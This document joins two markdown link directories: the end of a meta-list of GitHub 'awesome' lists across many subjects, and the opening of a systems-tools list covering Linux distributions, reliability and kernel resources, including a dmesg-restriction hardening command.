- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
- [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
- [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
- [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
- [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
- [Golem](https://github.com/golemfactory/awesome-golem#readme) - Open source peer-to-peer marketplace for computing resources.
- [Stacks](https://github.com/friedger/awesome-stacks-chain#readme) - A smart contract platform secured by Bitcoin.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities.
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/matttga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/aureooms/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
- [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another.
- [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript.
- [WebXR](https://github.com/msub2/awesome-webxr#readme) - Enables immersive virtual reality and augmented reality content on the web.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
- [Awesome Viewer](http://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists.
- [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.
|
# Awesome Systools[](https://github.com/sindresorhus/awesome)
## Lists
- [The Book of Secret Knowledge](https://github.com/trimstray/the-book-of-secret-knowledge)
- [Awesome-Selfhosted](https://github.com/Kickball/awesome-selfhosted): This is a list of Free Software network services and web applications which can be hosted locally. Selfhosting is the process of locally hosting and managing applications instead of renting from SaaS providers.
- [Lucid Index](https://selfhostedsource.tech/self-hosted): This site's goal is to help you find the software you need as quickly as possible.
- [Awesome Sysadmin](https://github.com/n1trux/awesome-sysadmin): A curated list of amazingly awesome open source sysadmin resources.
## Reliability
- [Google - Site Reliability Engineering](https://landing.google.com/sre/book.html)
- [Istio on GKE](https://www.linkedin.com/pulse/istio-gke-googles-sre-box-ganesan-janarthanam-jana-/)- Google's SRE in a Box!
- [The 5 Things I Learned About ICS Operations From Jurassic Park](https://medium.com/@hexadecim8/the-5-things-i-learned-about-ics-operations-from-jurassic-park-8d38b6081142)
- [Post-Mortems-Template](https://github.com/ghostinthewires/Post-Mortems-Template)
## Licensing
- [A New Social Contract for Open Source](https://hueniverse.com/a-new-social-contract-for-open-source-86d1fcf3e353)
## Linux
### Distros
- [The Void (Linux) distribution](https://voidlinux.org/): Void is a general purpose operating system, based on the monolithic Linux® kernel. Its package system allows you to quickly install, update and remove software; software is provided in binary packages or can be built directly from sources with the help of the XBPS source packages collection.
- [devuan](https://www.devuan.org/): Devuan GNU+Linux is a fork of Debian without systemd.
- [Linux distros without systemd](https://ungleich.ch/en-us/cms/blog/2019/05/20/linux-distros-without-systemd/).
- [KISS](https://getkiss.org/): An independent Linux® distribution with a focus on simplicity and the concept of “less is more”. [Package Manager](https://github.com/kisslinux/kiss)
- [EasyOS](https://easyos.org/): An experimental linux distribution.
- [KaOS](https://kaosx.us/): A Lean KDE Distribution.
- [Kicksecure ™](https://www.whonix.org/wiki/Kicksecure): A Security-hardened, Non-anonymous Linux Distribution
- [14 Linux Distributions You Can Rely on for Your Ancient 32-bit Computer](https://itsfoss.com/32-bit-linux-distributions/)
- [void-mklive](https://github.com/void-linux/void-mklive): The Void Linux live image maker.
- [Busybox-based Linux distro from scratch](https://re-ws.pl/2020/11/busybox-based-linux-distro-from-scratch/)
- [oasis](https://github.com/oasislinux/oasis): a small statically-linked linux system
- [unetbootin](https://github.com/unetbootin/)
- [iPad Linux](https://ipadlinux.org/)
- [Tiny Core Linux, Micro Core Linux, 12MB Linux GUI Desktop, Live, Frugal, Extendable](http://tinycorelinux.net/)
- [Floppinux](https://bits.p1x.in/floppinux-an-embedded-linux-on-a-single-floppy/) - [An Embedded 🐧Linux on a Single 💾Floppy](https://github.com/w84death/floppinux)
- [Asahi Linux](https://asahilinux.org/) aims to bring you a polished Linux® experience on Apple Silicon Macs.
- [Pop!_OS](https://github.com/pop-os/beta)
- [kwin-tiling](https://github.com/kwin-scripts/kwin-tiling): Tiling script for kwin
#### Tiny ones
- [The Core Project](http://distro.ibiblio.org/tinycorelinux/downloads.html): as suggested by our name, is not a turnkey desktop distribution. Instead we deliver just the core Linux from which it is quite easy to add what you want. We offer 3 different x86 "cores" to get you started: Core, TinyCore, and our installation image, CorePlus.
- [Damn Small Linux](http://www.damnsmalllinux.org/download.html)
- [SLAX](https://www.slax.org/): is a modern, portable, small and fast Linux operating system with modular approach and outstanding design.
- [Bodhi Linux](https://www.bodhilinux.com/): a lightweight distribution featuring the fast & fully customizable Moksha Desktop.
### Kernel
- [Writing a Simple Linux Kernel Module](https://blog.sourcerer.io/writing-a-simple-linux-kernel-module-d9dc3762c234)
- [eBPF Utilities, Maps, and more](https://github.com/nathanjsweet/ebpf)
- [lsof to graphviz](https://github.com/zevv/lsofgraph)
- [Making Sense of Hexdump](https://www.suse.com/c/making-sense-hexdump/), [man](https://www.systutorials.com/docs/linux/man/1-hexdump/)
- [Interactive map of Linux Kernel](http://www.makelinux.net/kernel_map/)
- [How to prevent unprivileged users from viewing dmesg command output on Linux](https://www.cyberciti.biz/faq/how-to-prevent-unprivileged-users-from-viewing-dmesg-command-output-on-linux/):
```bash
# changing dmesg option
> sudo sysctl -w kernel.dmesg_restrict=1
```
- [darling](https://github.com/darlinghq/darling): Darwin/macOS emulation layer for Linux
- [Dmesg under the hood](https://ops.tips/blog/dmesg-under-the-hood/): Dmesg allows us to grasp what's going on under the hood when the kernel gets bad. Check out how dmesg is able to read kernel logs and show to the user.
- [Petitboot](https://github.com/open-power/petitboot): is an operating system bootloader based on Linux kexec. It can load any operating system image that supports the Linux kexec re-boot mechanism like Linux and FreeBSD.
- [Killing processes that don't want to die](https://lwn.net/Articles/754980/)
- [musl libc](https://www.musl-libc.org/): is lightweight, fast, simple, free, and strives to be correct in the sense of standards-conformance and safety.
- [Modern USB gadget on Linux & how to integrate it with systemd (Part 2)](https://www.collabora.com/news-and-blog/blog/2019/03/27/modern-usb-gadget-on-linux-and-how-to-integrate-it-with-systemd-(part-2)/)
- [Introduction to Paging](https://os.phil-opp.com/paging-introduction/): Writing an OS in Rust
- [Linux on your laptop](https://www.zdnet.com/article/linux-on-your-laptop-heres-what-you-need-to-know-about-uefi-firmware/): Here's what you need to know about UEFI firmware
- [Rockbox](https://www.rockbox.org/): is a free replacement firmware for digital music players.
- [Learn and use fork(), vfork(), wait() and exec() system calls across Linux Systems](https://www.linuxtechi.com/learn-use-fork-vfork-wait-exec-system-calls-linux/)
